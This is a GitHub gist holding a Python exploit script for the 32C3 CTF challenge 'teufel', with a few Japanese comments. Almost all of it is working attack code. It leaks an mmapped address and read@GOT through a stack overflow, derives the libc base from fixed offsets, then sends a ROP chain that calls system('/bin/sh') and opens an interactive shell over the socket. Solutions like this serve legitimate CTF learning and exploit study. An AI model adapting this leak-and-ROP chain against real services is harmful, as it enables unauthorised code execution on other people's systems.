Skip to content

Instantly share code, notes, and snippets.

@Ga-ryo
Created January 7, 2016 08:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Ga-ryo/f5ab2143cf045caf1fe7 to your computer and use it in GitHub Desktop.
Save Ga-ryo/f5ab2143cf045caf1fe7 to your computer and use it in GitHub Desktop.
teufel.py(32c3 ctf)
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib
from libformatstr import FormatStr
def sock(remoteip="127.0.0.1", remoteport=1234):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(a): return struct.pack("<Q",a)
def u(a): return struct.unpack("<Q",a)[0]
HOST, PORT = "localhost", 4444
s, f = sock(HOST, PORT)
# 40051f: 48 8d 7d f8 lea -0x8(%rbp),%rdi
# 400523: e8 08 ff ff ff callq 400430 <puts@plt>
puts = 0x40051f
read_got = 0x600fe8
read_offset = 0xd95e0
system_offset = 0x414f0
bin_sh_offset = 0x161180
pop_rdi_ret_offset = 0x22442
#stage1 leak mmaped address
f.write(p(9))
f.write('AAAAAAAAA')
addr = u(('\x00'+f.read(14)[9:14]).ljust(8,'\x00'))
print '[+] leak: ' + hex(addr)
#stage2 leak offset(mmaped address and libc_base)
#libc base とmmap(0,hoge,hoge,hoge,hoge,hoge) されたアドレスのオフセットは一定になる(libcもmmapでマッピングされてるからか?)
#remoteでも成功させるためにオフセットはブルートフォースしない
#offsetの下1byteがNULLにならないような関数をリーク対象として選ぶ
f.write(p(24))
buf = 'A'*8
buf += p(read_got+0x8)
buf += p(puts)
f.write(buf)
read_until(f)
read_until(f)
read_addr = u(f.read(6).ljust(8,'\0'))
print '[+] read@libc address:' + hex(read_addr)
libc_base = read_addr - read_offset
print '[+] libc_base address:' + hex(libc_base)
libc_base_offset = addr - libc_base
print '[+] libc_base offset:' + hex(libc_base_offset)
HOST, PORT = "localhost", 4444
s, f = sock(HOST, PORT)
#stage1 leak mmaped address
f.write(p(9))
f.write('AAAAAAAAA')
addr = u(('\x00'+f.read(14)[9:14]).ljust(8,'\x00'))
print '[+] leak: ' + hex(addr)
print '[+] this time libc_base:' + hex(addr-libc_base_offset)
#stage2 mprotect(writable)
f.write(p(24))
buf = 'A'*8
buf += p(addr-0x1000)
buf += p(0x4004ae)
f.write(buf)
#stage3 ROP
f.write(200)
buf = 'A'*8
buf += p(0xdeadbeef)
buf += p(addr - libc_base_offset + pop_rdi_ret_offset)
buf += p(addr - libc_base_offset + bin_sh_offset)
buf += p(addr - libc_base_offset + system_offset)
raw_input('debug')
f.write(buf)
shell(s)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment